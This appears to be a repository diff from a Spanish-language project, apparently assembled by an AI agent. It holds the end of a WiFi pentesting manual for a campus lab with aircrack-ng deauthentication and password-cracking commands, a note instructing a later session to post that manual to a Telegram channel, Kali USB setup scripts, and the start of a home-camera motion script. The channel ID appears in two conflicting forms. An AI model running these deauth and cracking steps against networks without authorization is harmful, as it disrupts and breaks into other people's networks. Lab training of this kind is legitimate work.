sudo mkdir -p /mnt/persistence
|
||||
sudo mount /dev/sdb3 /mnt/persistence
|
||||
|
||||
# Copiar resultados
|
||||
cp captura-01.cap /mnt/persistence/
|
||||
echo "RED: CampusLab | PASS: la_contraseña" > /mnt/persistence/wifi_cracked.txt
|
||||
|
||||
# Desmontar
|
||||
sudo umount /mnt/persistence
|
||||
```
|
||||
|
||||
### Opción C — Segundo USB o red
|
||||
```bash
|
||||
# A tu propio USB
|
||||
cp captura-01.cap /media/kali/MI_USB/
|
||||
|
||||
# O subir a un servidor
|
||||
scp captura-01.cap user@ip_servidor:/ruta/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PARTE 10: GUARDAR LA CONTRASEÑA
|
||||
|
||||
```bash
|
||||
echo "RED: CampusLab | PASS: la_contraseña" >> ~/wifi_cracked.txt
|
||||
cat ~/wifi_cracked.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PARTE 11: RESUMEN DE COMANDOS RÁPIDOS
|
||||
|
||||
| Paso | Comando |
|
||||
|------|---------|
|
||||
| Ver antena | `lsusb && iwconfig` |
|
||||
| Matar interferencias | `sudo airmon-ng check kill` |
|
||||
| Activar monitor | `sudo airmon-ng start wlan0` |
|
||||
| Escanear redes | `sudo airodump-ng wlan0mon` |
|
||||
| Capturar 1 red | `sudo airodump-ng -c CH --bssid MAC -w file wlan0mon` |
|
||||
| Deauth 1 cliente | `sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI wlan0mon` |
|
||||
| Crackear | `aircrack-ng -w rockyou.txt file.cap` |
|
||||
| Salir monitor | `sudo airmon-ng stop wlan0mon` |
|
||||
|
||||
---
|
||||
|
||||
## PARTE 12: TIPS PARA EL LABORATORIO UNIVERSITARIO
|
||||
|
||||
1. **Empieza solo con escaneo pasivo** (`airodump-ng`) — aprende a leer las redes antes de hacer nada activo
|
||||
2. **Documenta** qué redes hay, en qué canales, qué cifrado usan
|
||||
3. **Solo testea redes que tengas autorización explícita** — pide al profesor/encargado por escrito
|
||||
4. **Practica primero con tu propio router** si puedes
|
||||
5. El `rockyou.txt` viene en Kali en `/usr/share/wordlists/` (descomprimir con `sudo gunzip`)
|
||||
6. **No hagas deauth en redes públicas reales** — es ilegal sin autorización
|
||||
7. Si la señal es mala (PWR < -70), acércate al router o usa la antena con el reflector parabólico
|
||||
85
docs/pending_telegram_send.md
Normal file
85
docs/pending_telegram_send.md
Normal file
@@ -0,0 +1,85 @@
|
||||
# PENDIENTE: Envío manual pentesting Alpha AWUS036ACH al canal IDD Telegram
|
||||
|
||||
**Estado:** 4 mensajes pendientes de envío (Partes 8-11)
|
||||
**Canal IDD:** -1003967773087
|
||||
**Razón del fallo:** Timeout MCP Telegram (servidor caído/sobrecargado)
|
||||
**Fecha:** 2026-08-08
|
||||
|
||||
## Instrucciones para la próxima sesión
|
||||
|
||||
Al iniciar, enviar estos 4 mensajes AL CANAL IDD (`-10033967773087`) en orden.
|
||||
Usar `telegram_send_message` con `peer: "-1003967773087"`.
|
||||
|
||||
**IMPORTANTE:** El manual COMPLETO (Partes 1-7 + 8-11) ya está guardado en:
|
||||
`docs/manual_pentesting_alpha_awus036ach.md`
|
||||
|
||||
Si el MCP Telegram sigue sin funcionar, enviar el contenido del fichero manual como 1 solo mensaje o copiarlo al portapapeles para que el usuario lo pegue manualmente.
|
||||
|
||||
---
|
||||
|
||||
## MENSAJE 1 - PARTE 8
|
||||
|
||||
PARTE 8: CRACKEAR LA CONTRASEÑA
|
||||
|
||||
Descomprime el diccionario:
|
||||
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
|
||||
|
||||
Crackea:
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura-01.cap
|
||||
|
||||
Si esta en el diccionario veras:
|
||||
KEY FOUND! [ la_contraseña ]
|
||||
|
||||
Guarda la contraseña:
|
||||
echo "RED: CampusLab | PASS: la_contraseña" >> ~/wifi_cracked.txt
|
||||
|
||||
---
|
||||
|
||||
## MENSAJE 2 - PARTE 9
|
||||
|
||||
PARTE 9: PERSISTENCIA DEL USB (GUARDAR RESULTADOS)
|
||||
|
||||
Si usas Kali Live, al reiniciar TODO se pierde.
|
||||
|
||||
Opcion A - Rufus Persistent Partition (ya lo hiciste en Parte 2)
|
||||
Si activaste Persistent storage en Rufus, los archivos en
|
||||
/home/kali se guardan automaticamente.
|
||||
|
||||
Opcion B - Montar particion persistente:
|
||||
sudo mkdir -p /mnt/persistence
|
||||
sudo mount /dev/sdb3 /mnt/persistence
|
||||
cp captura-01.cap /mnt/persistence/
|
||||
echo "RED: CampusLab | PASS: la_contraseña" > /mnt/persistence/wifi_cracked.txt
|
||||
sudo umount /mnt/persistence
|
||||
|
||||
Opcion C - Segundo USB o red:
|
||||
cp captura-01.cap /media/kali/MI_USB/
|
||||
|
||||
---
|
||||
|
||||
## MENSAJE 3 - PARTE 10
|
||||
|
||||
PARTE 10: RESUMEN DE COMANDOS RAPIDOS
|
||||
|
||||
Ver antena: lsusb && iwconfig
|
||||
Matar interfer.: sudo airmon-ng check kill
|
||||
Activar monitor: sudo airmon-ng start wlan0
|
||||
Escanear redes: sudo airodump-ng wlan0mon
|
||||
Capturar 1 red: sudo airodump-ng -c CH --bssid MAC -w file wlan0mon
|
||||
Deauth: sudo aireplay-ng --deauth 5 -a MAC_AP -c MAC_CLI wlan0mon
|
||||
Crackear: aircrack-ng -w rockyou.txt file.cap
|
||||
Salir monitor: sudo airmon-ng stop wlan0mon
|
||||
|
||||
---
|
||||
|
||||
## MENSAJE 4 - PARTE 11
|
||||
|
||||
PARTE 11: TIPS PARA EL LABORATORIO
|
||||
|
||||
1. Empieza con escaneo pasivo (airodump-ng)
|
||||
2. Documenta: redes, canales, cifrado
|
||||
3. Solo testea redes con autorizacion escrita
|
||||
4. Practica primero con tu propio router
|
||||
5. rockyou.txt en /usr/share/wordlists/
|
||||
6. No hagas deauth en redes publicas reales
|
||||
7. Senal mala? Acercate al router o usa reflector
|
||||
59
scripts/kali-driver-8812au.sh
Normal file
59
scripts/kali-driver-8812au.sh
Normal file
@@ -0,0 +1,59 @@
|
||||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# Script rápido: Solo driver Realtek 8812AU para Kali Linux
|
||||
# Ejecutar como root desde el USB live
|
||||
# =============================================================================
|
||||
set -e
|
||||
|
||||
echo "=== REALTEK 8812AU DRIVER INSTALL ==="
|
||||
echo ""
|
||||
|
||||
# Verificar que se ejecuta como root
|
||||
if [ "$EUID" -ne 0 ]; then
|
||||
echo "Ejecuta como root: sudo bash $0"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Instalar dependencias
|
||||
echo "[1/4] Instalando dependencias..."
|
||||
apt update -qq
|
||||
apt install -y -qq dkms linux-headers-$(uname -r) git build-essential
|
||||
|
||||
# Clonar driver
|
||||
echo "[2/4] Descargando driver..."
|
||||
DRIVER_DIR="/opt/rtl8812au"
|
||||
if [ -d "$DRIVER_DIR" ]; then
|
||||
echo " Driver ya existe, actualizando..."
|
||||
cd "$DRIVER_DIR"
|
||||
git pull
|
||||
else
|
||||
git clone https://github.com/aircrack-ng/rtl8812au.git "$DRIVER_DIR"
|
||||
cd "$DRIVER_DIR"
|
||||
fi
|
||||
|
||||
# Compilar
|
||||
echo "[3/4] Compilando..."
|
||||
make clean
|
||||
make
|
||||
|
||||
# Instalar
|
||||
echo "[4/4] Instalando..."
|
||||
make install
|
||||
|
||||
# Cargar módulo
|
||||
echo ""
|
||||
echo "Cargando módulo..."
|
||||
modprobe 8812au 2>/dev/null || modprobe rtl8812au 2>/dev/null || echo "Módulo no se cargó (reiniciar para aplicar)"
|
||||
|
||||
# Verificar
|
||||
echo ""
|
||||
if ip link show | grep -q wl; then
|
||||
IFACE=$(ip link show | grep wl | awk -F: '{print $2}' | tr -d ' ' | head -1)
|
||||
echo "✓ WiFi detectado: $IFACE"
|
||||
echo " Para modo monitor: airmon-ng start $IFACE"
|
||||
else
|
||||
echo "⚠ WiFi no detectado aún. Reinicia el USB."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "¡Driver instalado!"
|
||||
84
scripts/kali-persistence.sh
Normal file
84
scripts/kali-persistence.sh
Normal file
@@ -0,0 +1,84 @@
|
||||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# Script rápido: Solo persistencia para Kali Linux USB
|
||||
# Ejecutar como root desde el USB live
|
||||
# =============================================================================
|
||||
set -e
|
||||
|
||||
echo "=== KALI PERSISTENCE SETUP ==="
|
||||
echo ""
|
||||
|
||||
# Detectar USB
|
||||
echo "Detectando USB..."
|
||||
USB_DEVICE=""
|
||||
for dev in /dev/sd{b,c,d,e}; do
|
||||
if [ -b "$dev" ]; then
|
||||
SIZE=$(lsblk -dn -o SIZE "$dev" 2>/dev/null | tr -d ' ')
|
||||
echo " $dev — $SIZE"
|
||||
USB_DEVICE="$dev"
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -z "$USB_DEVICE" ]; then
|
||||
echo "ERROR: No se encontró USB"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "USB: $USB_DEVICE"
|
||||
echo ""
|
||||
echo "Opciones:"
|
||||
echo " 1) Crear partición persistence con fdisk (terminal)"
|
||||
echo " 2) Abrir GParted (gráfico)"
|
||||
echo " 3) Ya tengo la partición, solo montar y configurar"
|
||||
echo ""
|
||||
read -p "Elige [1/2/3]: " OPT
|
||||
|
||||
case $OPT in
|
||||
1)
|
||||
echo ""
|
||||
echo "Iniciando fdisk en $USB_DEVICE"
|
||||
echo "Instrucciones:"
|
||||
echo " - 'd' → borrar última partición"
|
||||
echo " - 'n' → crear nueva (más pequeña)"
|
||||
echo " - 'n' → crear partición persistence con espacio restante"
|
||||
echo " - 't' → cambiar tipo a Linux (83)"
|
||||
echo " - 'w' → guardar"
|
||||
echo ""
|
||||
fdisk "$USB_DEVICE"
|
||||
sleep 2
|
||||
NEW=$(lsblk -dn -o NAME "$USB_DEVICE" | tail -1 | sed 's/.*\([a-z][a-z0-9]*\)$/\1/')
|
||||
mkfs.ext4 -F -L "persistence" "/dev/$NEW"
|
||||
PERSIST="/dev/$NEW"
|
||||
;;
|
||||
2)
|
||||
echo "Abrindo GParted..."
|
||||
echo "1. Selecciona $USB_DEVICE"
|
||||
echo "2. Redimensiona última partición"
|
||||
echo "3. Crea ext4 nueva con label 'persistence'"
|
||||
echo "4. Aplica"
|
||||
gparted "$USB_DEVICE" 2>/dev/null || gnome-disks "$USB_DEVICE"
|
||||
PERSIST=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}')
|
||||
PERSIST="/dev/$PERSIST"
|
||||
;;
|
||||
3)
|
||||
PERSIST=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}')
|
||||
PERSIST="/dev/$PERSIST"
|
||||
;;
|
||||
esac
|
||||
|
||||
echo ""
|
||||
echo "Montando $PERSIST..."
|
||||
mkdir -p /mnt/usb
|
||||
mount "$PERSIST" /mnt/usb
|
||||
|
||||
if [ ! -f /mnt/usb/persistence.conf ]; then
|
||||
echo "/ union" > /mnt/usb/persistence.conf
|
||||
echo "persistence.conf creado"
|
||||
else
|
||||
echo "persistence.conf ya existe"
|
||||
fi
|
||||
|
||||
umount /mnt/usb
|
||||
echo ""
|
||||
echo "¡Listo! Reinicia y selecciona 'Persistent' en el menú."
|
||||
207
scripts/kali-setup.sh
Normal file
207
scripts/kali-setup.sh
Normal file
@@ -0,0 +1,207 @@
|
||||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# KALI LINUX — Setup completo: Persistencia + Drivers Realtek 8812AU
|
||||
# Ejecutar como root desde el USB live de Kali
|
||||
# =============================================================================
|
||||
set -e
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${CYAN}============================================${NC}"
|
||||
echo -e "${CYAN} KALI USB SETUP — Persistencia + 8812AU${NC}"
|
||||
echo -e "${CYAN}============================================${NC}"
|
||||
echo ""
|
||||
|
||||
# -----------------------------------------------------------
|
||||
# PASO 1: Detectar el USB
|
||||
# -----------------------------------------------------------
|
||||
echo -e "${YELLOW}[1/5] Detectando USB...${NC}"
|
||||
|
||||
USB_DEVICE=""
|
||||
for dev in /dev/sd{b,c,d,e}; do
|
||||
if [ -b "$dev" ]; then
|
||||
SIZE=$(lsblk -dn -o SIZE "$dev" 2>/dev/null | tr -d ' ')
|
||||
FSTYPE=$(lsblk -dn -o FSTYPE "$dev" 2>/dev/null | tr -d ' ')
|
||||
LABEL=$(lsblk -dn -o LABEL "$dev" 2>/dev/null | tr -d ' ')
|
||||
echo " $dev — $SIZE — $FSTYPE — $LABEL"
|
||||
# El USB más grande probablemente es nuestro
|
||||
USB_DEVICE="$dev"
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -z "$USB_DEVICE" ]; then
|
||||
echo -e "${RED} ERROR: No se encontró ningún USB${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo -e "${GREEN} USB detectado: $USB_DEVICE${NC}"
|
||||
echo ""
|
||||
|
||||
# -----------------------------------------------------------
|
||||
# PASO 2: Verificar si ya hay persistencia
|
||||
# -----------------------------------------------------------
|
||||
echo -e "${YELLOW}[2/5] Verificando persistencia...${NC}"
|
||||
|
||||
# Buscar partición etiquetada "persistence"
|
||||
PERSIST_PART=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}' | head -1)
|
||||
|
||||
if [ -n "$PERSIST_PART" ]; then
|
||||
echo -e "${GREEN} Persistencia ya configurada en /dev/$PERSIST_PART${NC}"
|
||||
PERSIST_DEVICE="/dev/$PERSIST_PART"
|
||||
else
|
||||
echo " No se encontró persistencia. Creando..."
|
||||
|
||||
# Encontrar la última partición del USB
|
||||
LAST_PART=$(lsblk -dn -o NAME "$USB_DEVICE" | tail -1 | sed 's/.*\([a-z][a-z0-9]*\)$/\1/')
|
||||
echo " Última partición detectada: $LAST_PART"
|
||||
|
||||
echo ""
|
||||
echo -e "${YELLOW} IMPORTANTE: Voy a redimensionar la última partición del USB${NC}"
|
||||
echo -e "${YELLOW} para crear espacio para persistencia.${NC}"
|
||||
echo ""
|
||||
echo " Opciones:"
|
||||
echo " 1) Usar GParted (recomendado — gráfico)"
|
||||
echo " 2) Usar fdisk (terminal)"
|
||||
echo ""
|
||||
read -p " ¿Qué prefieres? [1/2]: " CHOICE
|
||||
|
||||
case $CHOICE in
|
||||
2)
|
||||
echo ""
|
||||
echo " Abriendo fdisk en $USB_DEVICE..."
|
||||
echo " Instrucciones:"
|
||||
echo " - 'd' para borrar la última partición"
|
||||
echo " - 'n' para crear nueva partición (más pequeña)"
|
||||
echo " - 'n' de nuevo para crear partición de persistencia con el espacio restante"
|
||||
echo " - 'w' para guardar"
|
||||
echo ""
|
||||
fdisk "$USB_DEVICE"
|
||||
|
||||
# Después de fdisk, detectar la nueva partición
|
||||
sleep 2
|
||||
NEW_PART=$(lsblk -dn -o NAME "$USB_DEVICE" | tail -1 | sed 's/.*\([a-z][a-z0-9]*\)$/\1/')
|
||||
PERSIST_DEVICE="/dev/$NEW_PART"
|
||||
|
||||
echo ""
|
||||
read -p " Formatear $PERSIST_DEVICE como ext4 y etiquetar 'persistence'? [s/N]: " CONFIRM
|
||||
if [ "$CONFIRM" = "s" ] || [ "$CONFIRM" = "S" ]; then
|
||||
mkfs.ext4 -F -L "persistence" "$PERSIST_DEVICE"
|
||||
else
|
||||
echo " Saltado. Formatea manualmente con: mkfs.ext4 -F -L persistence $PERSIST_DEVICE"
|
||||
exit 0
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
echo ""
|
||||
echo " Abriendo GParted..."
|
||||
echo " 1. Selecciona $USB_DEVICE"
|
||||
echo " 2. Redimensiona la última partición (dejando ~4GB para persistencia)"
|
||||
echo " 3. Crea una partición ext4 nueva con label 'persistence'"
|
||||
echo " 4. Aplica cambios y cierra GParted"
|
||||
echo ""
|
||||
gparted "$USB_DEVICE" 2>/dev/null || gnome-disks "$USB_DEVICE" 2>/dev/null
|
||||
|
||||
# Detectar después de GParted
|
||||
sleep 2
|
||||
PERSIST_PART=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}' | head -1)
|
||||
if [ -z "$PERSIST_PART" ]; then
|
||||
echo -e "${RED} No se detectó la partición 'persistence'.${NC}"
|
||||
echo " Asegúrate de que el label sea exactamente 'persistence'"
|
||||
exit 1
|
||||
fi
|
||||
PERSIST_DEVICE="/dev/$PERSIST_PART"
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
|
||||
echo -e "${GREEN} Partición de persistencia: $PERSIST_DEVICE${NC}"
|
||||
echo ""
|
||||
|
||||
# -----------------------------------------------------------
|
||||
# PASO 3: Montar y configurar persistencia
|
||||
# -----------------------------------------------------------
|
||||
echo -e "${YELLOW}[3/5] Configurando persistencia...${NC}"
|
||||
|
||||
mkdir -p /mnt/usb
|
||||
mount "$PERSIST_DEVICE" /mnt/usb
|
||||
|
||||
# Verificar si ya tiene persistence.conf
|
||||
if [ -f /mnt/usb/persistence.conf ]; then
|
||||
echo -e "${GREEN} persistence.conf ya existe:$(cat /mnt/usb/persistence.conf)${NC}"
|
||||
else
|
||||
echo "/ union" > /mnt/usb/persistence.conf
|
||||
echo -e "${GREEN} persistence.conf creado: / union${NC}"
|
||||
fi
|
||||
|
||||
umount /mnt/usb
|
||||
echo -e "${GREEN} Persistencia configurada OK${NC}"
|
||||
echo ""
|
||||
|
||||
# -----------------------------------------------------------
|
||||
# PASO 4: Instalar drivers Realtek 8812AU
|
||||
# -----------------------------------------------------------
|
||||
echo -e "${YELLOW}[4/5] Instalando drivers Realtek 8812AU...${NC}"
|
||||
|
||||
# Instalar dependencias
|
||||
echo " Instalando dependencias de compilación..."
|
||||
apt update -qq
|
||||
apt install -y -qq dkms linux-headers-$(uname -r) git build-essential airmon-ng 2>/dev/null
|
||||
|
||||
# Clonar driver
|
||||
DRIVER_DIR="/opt/rtl8812au"
|
||||
if [ -d "$DRIVER_DIR" ]; then
|
||||
echo -e "${GREEN} Driver ya descargado en $DRIVER_DIR${NC}"
|
||||
cd "$DRIVER_DIR"
|
||||
git pull -qq 2>/dev/null || true
|
||||
else
|
||||
echo " Descargando driver 8812AU..."
|
||||
git clone https://github.com/aircrack-ng/rtl8812au.git "$DRIVER_DIR"
|
||||
cd "$DRIVER_DIR"
|
||||
fi
|
||||
|
||||
# Compilar e instalar
|
||||
echo " Compilando driver..."
|
||||
make clean 2>/dev/null || true
|
||||
make
|
||||
make install
|
||||
|
||||
echo -e "${GREEN} Driver 8812AU instalado${NC}"
|
||||
echo ""
|
||||
|
||||
# -----------------------------------------------------------
|
||||
# PASO 5: Cargar módulo y verificar
|
||||
# -----------------------------------------------------------
|
||||
echo -e "${YELLOW}[5/5] Verificando...${NC}"
|
||||
|
||||
modprobe 8812au 2>/dev/null || modprobe rtl8812au 2>/dev/null || true
|
||||
|
||||
if ip link show | grep -q wl; then
|
||||
WIFI_IF=$(ip link show | grep wl | awk -F: '{print $2}' | tr -d ' ' | head -1)
|
||||
echo -e "${GREEN} WiFi detectado: $WIFI_IF${NC}"
|
||||
else
|
||||
echo -e "${YELLOW} WiFi no detectado aún (puede necesitar reboot)${NC}"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${CYAN}============================================${NC}"
|
||||
echo -e "${GREEN} SETUP COMPLETADO${NC}"
|
||||
echo -e "${CYAN}============================================${NC}"
|
||||
echo ""
|
||||
echo " Resumen:"
|
||||
echo " ✓ Persistencia configurada"
|
||||
echo " ✓ Drivers Realtek 8812AU instalados"
|
||||
echo ""
|
||||
echo " Próximos pasos:"
|
||||
echo " 1. Reinicia el USB (selecciona 'KDE + Persistent' o 'XFCE + Persistent')"
|
||||
echo " 2. Al reiniciar, los cambios se guardarán"
|
||||
echo " 3. Para usar el WiFi: airmon-ng start $WIFI_IF"
|
||||
echo ""
|
||||
echo " NOTA: Si el módulo no carga al reiniciar, ejecuta:"
|
||||
echo " sudo modprobe 8812au"
|
||||
echo " # o"
|
||||
echo " sudo modprobe rtl8812au"
|
||||
echo ""
|
||||
199
scripts/kali-todo.sh
Normal file
199
scripts/kali-todo.sh
Normal file
@@ -0,0 +1,199 @@
|
||||
#!/bin/bash
|
||||
# =============================================================================
|
||||
# KALI USB COMPLETO: Formateo + Persistencia + Teclado ES + Driver 8812AU
|
||||
# Ejecutar como root desde Kali live: sudo bash kali-todo.sh
|
||||
# =============================================================================
|
||||
set -e
|
||||
|
||||
echo "=========================================="
|
||||
echo " KALI USB — Setup completo"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
|
||||
# Detectar USB (el más grande que no es el ISO booteado)
|
||||
echo "[1/6] Detectando USB..."
|
||||
BOOT_DEV=$(lsblk -dn -o PKNAME /dev/sda1 2>/dev/null || echo "sda")
|
||||
for dev in sdb sdc sdd sde; do
|
||||
if [ -b "/dev/$dev" ]; then
|
||||
SIZE=$(lsblk -dn -o SIZE "/dev/$dev" 2>/dev/null | tr -d ' ')
|
||||
SIZE_GB=$(echo "$SIZE" | awk '{gsub(/G/,"",$1); print $1}')
|
||||
if [ $(echo "$SIZE_GB > 10" | bc 2>/dev/null || echo 0) -eq 1 ] || echo "$SIZE" | grep -qE "[0-9]{2,}G"; then
|
||||
USB="/dev/$dev"
|
||||
echo " USB encontrado: $USB ($SIZE)"
|
||||
break
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -z "$USB" ]; then
|
||||
echo " ERROR: No se encontró USB grande. Listando todos:"
|
||||
lsblk -dn -o NAME,SIZE,MODEL
|
||||
echo ""
|
||||
read -p " Escribe el dispositivo (ej: sdb): " USB_NAME
|
||||
USB="/dev/$USB_NAME"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "AVISO: Se va a BORRAR TODO el USB: $USB"
|
||||
echo " Los datos se perderán permanentemente."
|
||||
echo ""
|
||||
read -p " ¿Continuar? (escribe BORRAR): " CONFIRM
|
||||
if [ "$CONFIRM" != "BORRAR" ]; then
|
||||
echo " Cancelado."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# -----------------------------------------------------------
|
||||
echo ""
|
||||
echo "[2/6] Limpiando y particionando $USB..."
|
||||
swapoff -a 2>/dev/null || true
|
||||
|
||||
# Limpiar disco
|
||||
dd if=/dev/zero of="$USB" bs=1M count=10 2>/dev/null
|
||||
sync
|
||||
|
||||
# Crear tabla GPT + 2 particiones
|
||||
parted -s "$USB" mklabel gpt
|
||||
parted -s "$USB" mkpart primary fat32 1MiB 4GiB
|
||||
parted -s "$USB" set 1 boot on
|
||||
parted -s "$USB" mkpart primary ext4 4GiB 100%
|
||||
parted -s "$USB" name 2 persistence
|
||||
sync
|
||||
sleep 2
|
||||
|
||||
# Detectar nombres de particiones
|
||||
BOOT_PART="${USB}1"
|
||||
PERSIST_PART="${USB}2"
|
||||
|
||||
# Si el kernel usa números en lugar de letras
|
||||
if [ ! -b "$BOOT_PART" ]; then
|
||||
BOOT_PART="${USB}p1"
|
||||
PERSIST_PART="${USB}p2"
|
||||
fi
|
||||
|
||||
echo " Boot: $BOOT_PART"
|
||||
echo " Persistence: $PERSIST_PART"
|
||||
|
||||
# -----------------------------------------------------------
|
||||
echo ""
|
||||
echo "[3/6] Formateando particiones..."
|
||||
mkfs.vfat -F 32 -n KALI "$BOOT_PART"
|
||||
mkfs.ext4 -F -L persistence "$PERSIST_PART"
|
||||
|
||||
# -----------------------------------------------------------
|
||||
echo ""
|
||||
echo "[4/6] Montando ISO de Kali y copiando archivos..."
|
||||
mkdir -p /mnt/iso /mnt/boot /mnt/persist
|
||||
|
||||
# Encontrar ISO de Kali
|
||||
ISO=""
|
||||
for f in /home/kali/Downloads/*.iso /home/kali/*.iso /tmp/*.iso /run/live/medium/**/*.iso; do
|
||||
if [ -f "$f" ] && echo "$f" | grep -qi kali; then
|
||||
ISO="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -z "$ISO" ]; then
|
||||
# Intentar montar el medio de booteo actual
|
||||
if [ -d /run/live/medium ]; then
|
||||
mount --bind /run/live/medium /mnt/iso
|
||||
ISO="/mnt/iso"
|
||||
else
|
||||
echo " No se encontró ISO. Copia archivos manualmente."
|
||||
echo " Monta $BOOT_PART en /mnt/boot y copia el contenido de la ISO."
|
||||
mount "$BOOT_PART" /mnt/boot
|
||||
mount "$PERSIST_PART" /mnt/persist
|
||||
echo "/ union" > /mnt/persist/persistence.conf
|
||||
echo ""
|
||||
echo " Monta la ISO manualmente:"
|
||||
echo " sudo mount -o loop kali-xxx.iso /mnt/iso"
|
||||
echo " sudo cp -r /mnt/iso/* /mnt/boot/"
|
||||
echo " sudo umount /mnt/iso"
|
||||
echo ""
|
||||
echo " Persistence configurada. Sigue con el paso 5."
|
||||
SKIP_COPY=1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$SKIP_COPY" ]; then
|
||||
mount "$BOOT_PART" /mnt/boot
|
||||
mount "$PERSIST_PART" /mnt/persist
|
||||
|
||||
# Copiar contenido de ISO al USB
|
||||
echo " Copiando archivos de boot..."
|
||||
rsync -ah --progress "$ISO/" /mnt/boot/ 2>/dev/null || cp -r "$ISO"/* /mnt/boot/
|
||||
|
||||
# Configurar persistencia
|
||||
echo "/ union" > /mnt/persist/persistence.conf
|
||||
|
||||
# Modificar GRUB para teclado español
|
||||
echo " Configurando teclado español en GRUB..."
|
||||
if [ -f /mnt/boot/grub/grub.cfg ]; then
|
||||
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/grub/grub.cfg
|
||||
fi
|
||||
if [ -f /mnt/boot/grub.cfg ]; then
|
||||
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/grub.cfg
|
||||
fi
|
||||
# Syslinux
|
||||
if [ -f /mnt/boot/isolinux/isolinux.cfg ]; then
|
||||
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/isolinux/isolinux.cfg
|
||||
fi
|
||||
if [ -f /mnt/boot/syslinux/syslinux.cfg ]; then
|
||||
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/syslinux/syslinux.cfg
|
||||
fi
|
||||
fi
|
||||
|
||||
# -----------------------------------------------------------
|
||||
echo ""
|
||||
echo "[5/6] Instalando driver Realtek 8812AU..."
|
||||
apt update -qq
|
||||
apt install -y -qq dkms linux-headers-$(uname -r) git build-essential bc 2>/dev/null
|
||||
|
||||
DRIVER_DIR="/opt/rtl8812au"
|
||||
if [ -d "$DRIVER_DIR" ]; then
|
||||
cd "$DRIVER_DIR" && git pull -qq
|
||||
else
|
||||
git clone https://github.com/aircrack-ng/rtl8812au.git "$DRIVER_DIR"
|
||||
cd "$DRIVER_DIR"
|
||||
fi
|
||||
|
||||
make clean 2>/dev/null || true
|
||||
make
|
||||
make install
|
||||
modprobe 8812au 2>/dev/null || modprobe rtl8812au 2>/dev/null || true
|
||||
echo " Driver 8812AU instalado"
|
||||
|
||||
# -----------------------------------------------------------
|
||||
echo ""
|
||||
echo "[6/6] Configurando teclado español persistente..."
|
||||
cat > /mnt/persist/etc/keyboard-setup.sh << 'KBD'
|
||||
#!/bin/bash
|
||||
loadkeys es 2>/dev/null || true
|
||||
setxkbmap es 2>/dev/null || true
|
||||
KBD
|
||||
chmod +x /mnt/persist/etc/keyboard-setup.sh 2>/dev/null || true
|
||||
|
||||
# Desmontar
|
||||
umount /mnt/boot /mnt/persist 2>/dev/null || true
|
||||
umount /mnt/iso 2>/dev/null || true
|
||||
|
||||
echo ""
|
||||
echo "=========================================="
|
||||
echo " ¡TODO CONFIGURADO!"
|
||||
echo "=========================================="
|
||||
echo ""
|
||||
echo " Resumen:"
|
||||
echo " ✓ USB particionado (GPT: FAT32 boot + ext4 persistence)"
|
||||
echo " ✓ Kali Linux instalado en USB"
|
||||
echo " ✓ Persistencia configurada"
|
||||
echo " ✓ Teclado español en GRUB"
|
||||
echo " ✓ Driver Realtek 8812AU compilado e instalado"
|
||||
echo ""
|
||||
echo " Para usar:"
|
||||
echo " 1. Reinicia y arranca desde el USB"
|
||||
echo " 2. En GRUB, selecciona 'Kali' y pulsa 'e'"
|
||||
echo " 3. Verifica que 'keyboard-configuration/layoutcode=es' está"
|
||||
echo " 4. F10 para arrancar"
|
||||
echo " 5. Los cambios se guardan por la persistencia"
|
||||
echo ""
|
||||
221
vigilancia/barrido_nocturno.py
Normal file
221
vigilancia/barrido_nocturno.py
Normal file
@@ -0,0 +1,221 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Barrido nocturno del Salon (1:00-6:00). Cada 30 min hace un barrido
|
||||
panoramico L->R y R->L con la camara Tapo del Salon, detectando movimiento
|
||||
comparando frames (PSNR). Si detecta algo irregular guarda las imagenes en
|
||||
una carpeta dedicada, lo anota en el log, y manda un aviso DISCRETO a
|
||||
Telegram (sin alarma/sirena/voz). Independiente del panorama.
|
||||
|
||||
Config via .env:
|
||||
NOCTURNO_ACTIVO (1/0, default 1)
|
||||
NOCTURNO_INICIO hora inicio (default 1)
|
||||
NOCTURNO_FIN hora fin (default 6)
|
||||
NOCTURNO_INTERVALO minutos entre barridos (default 30)
|
||||
NOCTURNO_PSNR_MIN umbral PSNR (default 25.0; menor = mas diferencia)
|
||||
NOCTURNO_DIR carpeta de evidencias (default salidas_nocturno)
|
||||
NOCTURNO_TAPO_USER / NOCTURNO_TAPO_PASS
|
||||
"""
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import json
|
||||
